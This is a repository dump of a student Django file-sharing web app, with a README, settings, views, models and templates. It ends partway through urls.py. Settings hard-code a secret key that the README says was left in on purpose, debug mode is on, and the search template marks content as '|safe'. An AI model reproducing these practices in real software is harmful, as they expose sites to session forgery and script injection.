├── LICENSE ├── README.md ├── Screenshots ├── Django WebApp - Google Chrome 03-12-2019 20_48_45.png ├── Django WebApp - Google Chrome 04-12-2019 13_41_50.png ├── New Tab - Google Chrome 03-12-2019 19_14_36.png ├── New Tab - Google Chrome 03-12-2019 19_14_44.png ├── New Tab - Google Chrome 03-12-2019 19_14_51.png ├── New Tab - Google Chrome 03-12-2019 19_15_47.png └── New Tab - Google Chrome 03-12-2019 19_16_14.png ├── _config.yml └── django_web_app ├── blog ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── admin.cpython-37.pyc │ ├── apps.cpython-37.pyc │ ├── models.cpython-37.pyc │ ├── urls.cpython-37.pyc │ └── views.cpython-37.pyc ├── admin.py ├── apps.py ├── migrations │ ├── 0001_initial.py │ ├── 0002_post_file.py │ ├── __init__.py │ └── __pycache__ │ │ ├── 0001_initial.cpython-37.pyc │ │ ├── 0002_post_file.cpython-37.pyc │ │ └── __init__.cpython-37.pyc ├── models.py ├── static │ └── blog │ │ ├── main.css │ │ └── main.js ├── templates │ └── blog │ │ ├── about.html │ │ ├── base.html │ │ ├── home.html │ │ ├── post_confirm_delete.html │ │ ├── post_detail.html │ │ ├── post_form.html │ │ ├── search.html │ │ └── user_posts.html ├── tests.py ├── urls.py └── views.py ├── db.sqlite3 ├── django_web_app ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── settings.cpython-37.pyc │ ├── urls.cpython-37.pyc │ └── wsgi.cpython-37.pyc ├── settings.py ├── urls.py └── wsgi.py ├── manage.py ├── media ├── Files │ ├── Alan_Walker_-_Faded_Were_are_you_now_mp3.pm.mp3 │ ├── Beautiful.jpg │ ├── IMG-20181225-WA0032.jpg │ ├── Space_Invaders_02-03-2019_11_01_19.mp4 │ ├── Space_Invaders_31-03-2019_10_11_46.mp4 │ ├── canadian_rockies_beauty_wallpaper_g7zor.jpg │ ├── main.py │ ├── project_problem_statement.pdf │ ├── space.wav │ └── speech.py ├── default.jpg └── profile_pics │ ├── 1535657187-5807300-avatar-images.png │ ├── newuser_USxz6fs.png │ ├── profile.jpg │ └── profile_IVTEnjH.jpg └── users ├── __init__.py ├── __pycache__ ├── __init__.cpython-37.pyc ├── admin.cpython-37.pyc ├── apps.cpython-37.pyc ├── forms.cpython-37.pyc ├── models.cpython-37.pyc ├── signals.cpython-37.pyc └── views.cpython-37.pyc ├── admin.py ├── apps.py ├── forms.py ├── migrations ├── 0001_initial.py ├── __init__.py └── __pycache__ │ ├── 0001_initial.cpython-37.pyc │ └── __init__.cpython-37.pyc ├── models.py ├── signals.py ├── templates └── users │ ├── login.html │ ├── logout.html │ ├── profile.html │ └── register.html ├── tests.py └── views.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Mahesh Sawant 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Django-WebApp GitHub 2 | 3 | 4 | This project was done by me as a assignment for an internship. 5 | 6 |

Assignment Problem Statement:

7 | 8 |

Part 1:

9 |
    10 |
  1. Create a web-app where a user can login.
  2. 11 |
  3. User can upload files.
  4. 12 |
  5. User can view his/her uploaded files.
  6. 13 |
14 | 15 |

Part 2:

16 |
    17 |
  1. User can search and view profile of other users.
  2. 18 |
  3. They can share their uploaded files with any of those users.
  4. 19 |
  5. Users can see the shared files by other users also in uploaded files.
  6. 20 |
21 | 22 |

Additional Features:

23 |
    24 |
  1. In users profile user can set his/her profile picture.
  2. 25 |
  3. Users can download other users uploaded files.
  4. 26 |
  5. The user can upload any type of files such as images, videos, text files and also different types of programs like python code, java code, etc.
  6. 27 |
28 | 29 |

Technologies Used:

30 | 36 | 37 |

Additional Python Modules Required:

38 | 43 | 44 |

Note :

45 | 46 | The Secret_Key required for the execution and debugging of project is not removed from the project code. So you can use the project as your college mini-project or by using the project code you can build your own project. 47 | 48 |

Usage :

49 | 50 | python django_web_app/manage.py makemigrations 51 | 52 | python django_web_app/manage.py migrate 53 | 54 | python django_web_app/manage.py runserver 55 | 56 | In your web browser enter the address : http://localhost:8000 or http://127.0.0.1:8000/ 57 | 58 | # Working: 59 | [![Watch the video](https://img.youtube.com/vi/qIK-vfTig6c/0.jpg)](https://youtu.be/qIK-vfTig6c) 60 | 61 | # Screenshots : 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /Screenshots/Django WebApp - Google Chrome 03-12-2019 20_48_45.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/Screenshots/Django WebApp - Google Chrome 03-12-2019 20_48_45.png -------------------------------------------------------------------------------- /Screenshots/Django WebApp - Google Chrome 04-12-2019 13_41_50.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/Screenshots/Django WebApp - Google Chrome 04-12-2019 13_41_50.png -------------------------------------------------------------------------------- /Screenshots/New Tab - Google Chrome 03-12-2019 19_14_36.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/Screenshots/New Tab - Google Chrome 03-12-2019 19_14_36.png -------------------------------------------------------------------------------- /Screenshots/New Tab - Google Chrome 03-12-2019 19_14_44.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/Screenshots/New Tab - Google Chrome 03-12-2019 19_14_44.png -------------------------------------------------------------------------------- /Screenshots/New Tab - Google Chrome 03-12-2019 19_14_51.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/Screenshots/New Tab - Google Chrome 03-12-2019 19_14_51.png -------------------------------------------------------------------------------- /Screenshots/New Tab - Google Chrome 03-12-2019 19_15_47.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/Screenshots/New Tab - Google Chrome 03-12-2019 19_15_47.png -------------------------------------------------------------------------------- /Screenshots/New Tab - Google Chrome 03-12-2019 19_16_14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/Screenshots/New Tab - Google Chrome 03-12-2019 19_16_14.png -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-slate -------------------------------------------------------------------------------- /django_web_app/blog/__init__.py: -------------------------------------------------------------------------------- 1 | #init -------------------------------------------------------------------------------- /django_web_app/blog/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/__pycache__/admin.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/__pycache__/admin.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/__pycache__/apps.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/__pycache__/apps.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/__pycache__/models.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/__pycache__/models.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/__pycache__/urls.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/__pycache__/urls.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/__pycache__/views.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/__pycache__/views.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from .models import Post 3 | 4 | admin.site.register(Post) 5 | 6 | -------------------------------------------------------------------------------- /django_web_app/blog/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class BlogConfig(AppConfig): 5 | name = 'blog' 6 | -------------------------------------------------------------------------------- /django_web_app/blog/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.1.7 on 2019-03-23 09:42 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | import django.utils.timezone 7 | 8 | 9 | class Migration(migrations.Migration): 10 | 11 | initial = True 12 | 13 | dependencies = [ 14 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 15 | ] 16 | 17 | operations = [ 18 | migrations.CreateModel( 19 | name='Post', 20 | fields=[ 21 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 22 | ('title', models.CharField(max_length=100)), 23 | ('content', models.TextField()), 24 | ('date_posted', models.DateTimeField(default=django.utils.timezone.now)), 25 | ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), 26 | ], 27 | ), 28 | ] 29 | -------------------------------------------------------------------------------- /django_web_app/blog/migrations/0002_post_file.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.1.7 on 2019-03-30 18:57 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('blog', '0001_initial'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='post', 15 | name='file', 16 | field=models.FileField(blank=True, null=True, upload_to='Files'), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /django_web_app/blog/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | #init -------------------------------------------------------------------------------- /django_web_app/blog/migrations/__pycache__/0001_initial.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/migrations/__pycache__/0001_initial.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/migrations/__pycache__/0002_post_file.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/migrations/__pycache__/0002_post_file.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/migrations/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/blog/migrations/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/blog/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | from django.utils import timezone 3 | from django.contrib.auth.models import User 4 | from django.urls import reverse 5 | import os 6 | 7 | class Post(models.Model): 8 | title = models.CharField(max_length=100) 9 | file = models.FileField(null=True,blank=True,upload_to='Files') 10 | content = models.TextField() 11 | date_posted = models.DateTimeField(default=timezone.now) 12 | author = models.ForeignKey(User, on_delete=models.CASCADE) 13 | 14 | def __str__(self): 15 | return self.title 16 | 17 | def extension(self): 18 | name, extension = os.path.splitext(self.file.name) 19 | return extension 20 | 21 | def get_absolute_url(self): 22 | return reverse('post-detail', kwargs={'pk': self.pk}) 23 | 24 | 25 | -------------------------------------------------------------------------------- /django_web_app/blog/static/blog/main.css: -------------------------------------------------------------------------------- 1 | body { 2 | background: #fafafa; 3 | color: #333333; 4 | margin-top: 0; 5 | } 6 | 7 | h1, h2, h3, h4, h5, h6 { 8 | color: #444444; 9 | } 10 | 11 | ul { 12 | margin: 0; 13 | } 14 | 15 | .bg-steel { 16 | background-color: #5f788a; 17 | } 18 | 19 | .site-header .navbar-nav .nav-link { 20 | color: #cbd5db; 21 | } 22 | 23 | .site-header .navbar-nav .nav-link:hover { 24 | color: #ffffff; 25 | } 26 | 27 | .site-header .navbar-nav .nav-link.active { 28 | font-weight: 500; 29 | } 30 | 31 | .content-section { 32 | background: #ffffff; 33 | padding: 10px 20px; 34 | border: 1px solid #dddddd; 35 | border-radius: 3px; 36 | margin-bottom: 20px; 37 | } 38 | 39 | .article-title { 40 | color: #444444; 41 | } 42 | 43 | a.article-title:hover { 44 | color: #428bca; 45 | text-decoration: none; 46 | } 47 | 48 | .article-content { 49 | white-space: pre-line; 50 | } 51 | 52 | .article-img { 53 | height: 65px; 54 | width: 65px; 55 | margin-right: 16px; 56 | } 57 | 58 | .article-metadata { 59 | padding-bottom: 1px; 60 | margin-bottom: 4px; 61 | border-bottom: 1px solid #e3e3e3 62 | } 63 | 64 | .article-metadata a:hover { 65 | color: #333; 66 | text-decoration: none; 67 | } 68 | 69 | .article-svg { 70 | width: 25px; 71 | height: 25px; 72 | vertical-align: middle; 73 | } 74 | 75 | .account-img { 76 | height: 125px; 77 | width: 125px; 78 | margin-right: 20px; 79 | margin-bottom: 16px; 80 | } 81 | 82 | .account-heading { 83 | font-size: 2.5rem; 84 | } 85 | -------------------------------------------------------------------------------- /django_web_app/blog/static/blog/main.js: -------------------------------------------------------------------------------- 1 | $("#pop").on("click", function() { 2 | $('#imagepreview').attr('src', $('#imageresource').attr('src')); // here asign the image to the modal when the user click the enlarge link 3 | $('#imagemodal').modal('show'); // imagemodal is the id attribute assigned to the bootstrap modal, then i use the show function 4 | }); -------------------------------------------------------------------------------- /django_web_app/blog/templates/blog/about.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% block content %} 3 |

About Page

4 | {% endblock content %} 5 | -------------------------------------------------------------------------------- /django_web_app/blog/templates/blog/base.html: -------------------------------------------------------------------------------- 1 | {% load staticfiles %} 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | {% if title %} 15 | Django WebApp - {{title}} 16 | {% else %} 17 | Django WebApp 18 | {% endif %} 19 | 20 | 21 | 22 | 57 |
58 | {% if messages %} 59 | {% for message in messages %} 60 |
61 | {{ message }} 62 |
63 | {% endfor %} 64 | {% endif %} 65 | {% block content %} 66 | 67 | {% endblock %} 68 |
69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /django_web_app/blog/templates/blog/home.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% block content %} 3 | {% for post in posts %} 4 |
5 |
6 | 7 | 8 |
9 | 13 | {% if post.file %} 14 |
{{ post.blog }}
15 | {% endif %} 16 | 17 | 18 | 19 |

{{ post.title }}

20 |
21 |

{{ post.content }}

22 | {% if post.file %} 23 |
24 | 25 |
26 | {% endif %} 27 | 28 |
29 | 30 |
31 |
32 |
33 | {% endfor %} 34 | {% if is_paginated %} 35 | 36 | {% if page_obj.has_previous %} 37 | First 38 | Previous 39 | {% endif %} 40 | 41 | {% for num in page_obj.paginator.page_range %} 42 | {% if page_obj.number == num %} 43 | {{ num }} 44 | {% elif num > page_obj.number|add:'-3' and num < page_obj.number|add:'3' %} 45 | {{ num }} 46 | {% endif %} 47 | {% endfor %} 48 | 49 | {% if page_obj.has_next %} 50 | Next 51 | Last 52 | {% endif %} 53 | 54 | {% endif %} 55 | {% endblock content %} 56 | -------------------------------------------------------------------------------- /django_web_app/blog/templates/blog/post_confirm_delete.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% block content %} 3 |
4 |
5 | {% csrf_token %} 6 |
7 | Delete Post 8 |

Are you sure you want to delete the post "{{ object.title }}"

9 |
10 |
11 | 12 | Cancel 13 |
14 |
15 |
16 | {% endblock content %} 17 | -------------------------------------------------------------------------------- /django_web_app/blog/templates/blog/post_detail.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% block content %} 3 |
4 |
5 | 6 | 7 |
8 |
9 |
10 |

{{ object.author }}

11 | {{ object.date_upload }} 12 |
13 | {% if object.author != user %} 14 |
15 | Downlaod 16 |
17 | {% endif %} 18 |
19 | {% if object.author == user %} 20 |
21 | Update 22 | Delete 23 |
24 | {% endif %} 25 |
26 |
27 | {% if object.file %} 28 | {% if object.extension == '.jpg' or object.extension == 'jpeg' or object.extension == 'png' %} 29 | 30 |
{{ object.file }}
31 | {% elif object.extension == '.mp4' %} 32 |
33 | 36 |
37 |
{{ object.file }}
38 | {% else %} 39 |
{{ object.file }}
40 | {% endif %} 41 | {% endif %} 42 |
43 |

{{ object.title }}

44 |

{{ object.content }}

45 |
46 |
47 | {% endblock content %} 48 | -------------------------------------------------------------------------------- /django_web_app/blog/templates/blog/post_form.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% load crispy_forms_tags %} 3 | {% block content %} 4 |
5 |
6 | {% csrf_token %} 7 |
8 | 9 | Post 10 | 11 | {{ form|crispy }} 12 |
13 |
14 | 15 | 16 |
17 |
18 | 19 |
20 | {% endblock content %} 21 | -------------------------------------------------------------------------------- /django_web_app/blog/templates/blog/search.html: -------------------------------------------------------------------------------- 1 | {% extends 'blog/base.html' %} 2 | {% block content %} 3 |

Posts containing '{{query_string}}'

4 | {% for post in posts %} 5 |
6 | {{ post.created }} 7 |

{{ post.title }}

8 |
9 | {{ post.body|safe }} 10 |
11 |
12 | {% endfor %} 13 | {% endblock content %} -------------------------------------------------------------------------------- /django_web_app/blog/templates/blog/user_posts.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% block content %} 3 |

Posts by {{ view.kwargs.username }} ({{ page_obj.paginator.count }})

4 | {% for post in posts %} 5 |
6 | 7 |
8 | 12 |

{{ post.title }}

13 |

{{ post.content }}

14 |
15 |
16 | {% endfor %} 17 | {% if is_paginated %} 18 | 19 | {% if page_obj.has_previous %} 20 | First 21 | Previous 22 | {% endif %} 23 | 24 | {% for num in page_obj.paginator.page_range %} 25 | {% if page_obj.number == num %} 26 | {{ num }} 27 | {% elif num > page_obj.number|add:'-3' and num < page_obj.number|add:'3' %} 28 | {{ num }} 29 | {% endif %} 30 | {% endfor %} 31 | 32 | {% if page_obj.has_next %} 33 | Next 34 | Last 35 | {% endif %} 36 | 37 | {% endif %} 38 | {% endblock content %} 39 | -------------------------------------------------------------------------------- /django_web_app/blog/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /django_web_app/blog/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | from .views import ( 3 | PostListView, 4 | PostDetailView, 5 | PostCreateView, 6 | PostUpdateView, 7 | PostDeleteView, 8 | UserPostListView 9 | ) 10 | from . import views 11 | 12 | urlpatterns = [ 13 | path('', PostListView.as_view(), name='blog-home'), 14 | path('user/', UserPostListView.as_view(), name='user-posts'), 15 | path('post//', PostDetailView.as_view(), name='post-detail'), 16 | path('post/new/', PostCreateView.as_view(), name='post-create'), 17 | path('post//update/', PostUpdateView.as_view(), name='post-update'), 18 | path('post//delete/', PostDeleteView.as_view(), name='post-delete'), 19 | path('media/Files/',PostDeleteView.as_view(),name='post-delete' ), 20 | path('search/',views.search,name='search' ), 21 | path('about/', views.about, name='blog-about'), 22 | ] 23 | -------------------------------------------------------------------------------- /django_web_app/blog/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render, get_object_or_404 2 | from django.http import HttpResponse 3 | from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin 4 | from django.contrib.auth.models import User 5 | from django.views.generic import ( 6 | ListView, 7 | DetailView, 8 | CreateView, 9 | UpdateView, 10 | DeleteView 11 | ) 12 | from .models import Post 13 | import operator 14 | from django.urls import reverse_lazy 15 | from django.contrib.staticfiles.views import serve 16 | 17 | from django.db.models import Q 18 | 19 | 20 | def home(request): 21 | context = { 22 | 'posts': Post.objects.all() 23 | } 24 | return render(request, 'blog/home.html', context) 25 | 26 | def search(request): 27 | template='blog/home.html' 28 | 29 | query=request.GET.get('q') 30 | 31 | result=Post.objects.filter(Q(title__icontains=query) | Q(author__username__icontains=query) | Q(content__icontains=query)) 32 | paginate_by=2 33 | context={ 'posts':result } 34 | return render(request,template,context) 35 | 36 | 37 | 38 | def getfile(request): 39 | return serve(request, 'File') 40 | 41 | 42 | class PostListView(ListView): 43 | model = Post 44 | template_name = 'blog/home.html' # /_.html 45 | context_object_name = 'posts' 46 | ordering = ['-date_posted'] 47 | paginate_by = 2 48 | 49 | 50 | class UserPostListView(ListView): 51 | model = Post 52 | template_name = 'blog/user_posts.html' # /_.html 53 | context_object_name = 'posts' 54 | paginate_by = 2 55 | 56 | def get_queryset(self): 57 | user = get_object_or_404(User, username=self.kwargs.get('username')) 58 | return Post.objects.filter(author=user).order_by('-date_posted') 59 | 60 | 61 | class PostDetailView(DetailView): 62 | model = Post 63 | template_name = 'blog/post_detail.html' 64 | 65 | 66 | class PostCreateView(LoginRequiredMixin, CreateView): 67 | model = Post 68 | template_name = 'blog/post_form.html' 69 | fields = ['title', 'content', 'file'] 70 | 71 | def form_valid(self, form): 72 | form.instance.author = self.request.user 73 | return super().form_valid(form) 74 | 75 | 76 | class PostUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView): 77 | model = Post 78 | template_name = 'blog/post_form.html' 79 | fields = ['title', 'content', 'file'] 80 | 81 | def form_valid(self, form): 82 | form.instance.author = self.request.user 83 | return super().form_valid(form) 84 | 85 | def test_func(self): 86 | post = self.get_object() 87 | if self.request.user == post.author: 88 | return True 89 | return False 90 | 91 | 92 | class PostDeleteView(LoginRequiredMixin, UserPassesTestMixin, DeleteView): 93 | model = Post 94 | success_url = '/' 95 | template_name = 'blog/post_confirm_delete.html' 96 | 97 | def test_func(self): 98 | post = self.get_object() 99 | if self.request.user == post.author: 100 | return True 101 | return False 102 | 103 | 104 | def about(request): 105 | return render(request, 'blog/about.html', {'title': 'About'}) 106 | -------------------------------------------------------------------------------- /django_web_app/db.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/db.sqlite3 -------------------------------------------------------------------------------- /django_web_app/django_web_app/__init__.py: -------------------------------------------------------------------------------- 1 | #init -------------------------------------------------------------------------------- /django_web_app/django_web_app/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/django_web_app/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/django_web_app/__pycache__/settings.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/django_web_app/__pycache__/settings.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/django_web_app/__pycache__/urls.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/django_web_app/__pycache__/urls.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/django_web_app/__pycache__/wsgi.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/django_web_app/__pycache__/wsgi.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/django_web_app/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for django_web_app project. 3 | 4 | Generated by 'django-admin startproject' using Django 2.1.7. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/2.1/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/2.1/ref/settings/ 11 | """ 12 | 13 | import os 14 | 15 | # Build paths inside the project like this: os.path.join(BASE_DIR, ...) 16 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 17 | 18 | 19 | # Quick-start development settings - unsuitable for production 20 | # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ 21 | 22 | # SECURITY WARNING: keep the secret key used in production secret! 23 | SECRET_KEY = '@5&-q%^o=@mb@=@e%b9yz^b#l-2)w&_s0ick#=wy3kw36$z($g' 24 | 25 | # SECURITY WARNING: don't run with debug turned on in production! 26 | DEBUG = True 27 | 28 | ALLOWED_HOSTS = [] 29 | 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | 'blog.apps.BlogConfig', 35 | 'users.apps.UsersConfig', 36 | 'crispy_forms', 37 | 'django.contrib.admin', 38 | 'django.contrib.auth', 39 | 'django.contrib.contenttypes', 40 | 'django.contrib.sessions', 41 | 'django.contrib.messages', 42 | 'django.contrib.staticfiles', 43 | ] 44 | 45 | MIDDLEWARE = [ 46 | 'django.middleware.security.SecurityMiddleware', 47 | 'django.contrib.sessions.middleware.SessionMiddleware', 48 | 'django.middleware.common.CommonMiddleware', 49 | 'django.middleware.csrf.CsrfViewMiddleware', 50 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 51 | 'django.contrib.messages.middleware.MessageMiddleware', 52 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 53 | ] 54 | 55 | ROOT_URLCONF = 'django_web_app.urls' 56 | 57 | TEMPLATES = [ 58 | { 59 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 60 | 'DIRS': [], 61 | 'APP_DIRS': True, 62 | 'OPTIONS': { 63 | 'context_processors': [ 64 | 'django.template.context_processors.debug', 65 | 'django.template.context_processors.request', 66 | 'django.contrib.auth.context_processors.auth', 67 | 'django.contrib.messages.context_processors.messages', 68 | ], 69 | }, 70 | }, 71 | ] 72 | 73 | WSGI_APPLICATION = 'django_web_app.wsgi.application' 74 | 75 | 76 | # Database 77 | # https://docs.djangoproject.com/en/2.1/ref/settings/#databases 78 | 79 | DATABASES = { 80 | 'default': { 81 | 'ENGINE': 'django.db.backends.sqlite3', 82 | 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 83 | } 84 | } 85 | 86 | 87 | # Password validation 88 | # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators 89 | 90 | AUTH_PASSWORD_VALIDATORS = [ 91 | { 92 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 93 | }, 94 | { 95 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 96 | }, 97 | { 98 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 99 | }, 100 | { 101 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 102 | }, 103 | ] 104 | 105 | 106 | # Internationalization 107 | # https://docs.djangoproject.com/en/2.1/topics/i18n/ 108 | 109 | LANGUAGE_CODE = 'en-us' 110 | 111 | TIME_ZONE = 'UTC' 112 | 113 | USE_I18N = True 114 | 115 | USE_L10N = True 116 | 117 | USE_TZ = True 118 | 119 | 120 | # Static files (CSS, JavaScript, Images) 121 | # https://docs.djangoproject.com/en/2.1/howto/static-files/ 122 | 123 | STATIC_URL = '/static/' 124 | STATIC_ROOT= os.path.join(BASE_DIR, 'static'), 125 | 126 | MEDIA_ROOT = os.path.join(BASE_DIR, 'media') 127 | MEDIA_URL = '/media/' 128 | 129 | CRISPY_TEMPLATE_PACK = 'bootstrap4' 130 | 131 | LOGIN_REDIRECT_URL = 'blog-home' 132 | LOGIN_URL = 'login' 133 | -------------------------------------------------------------------------------- /django_web_app/django_web_app/urls.py: -------------------------------------------------------------------------------- 1 | """django_web_app URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/2.1/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | from django.contrib import admin 17 | from django.contrib.auth import views as auth_views 18 | from django.urls import path, include 19 | from django.conf import settings 20 | from 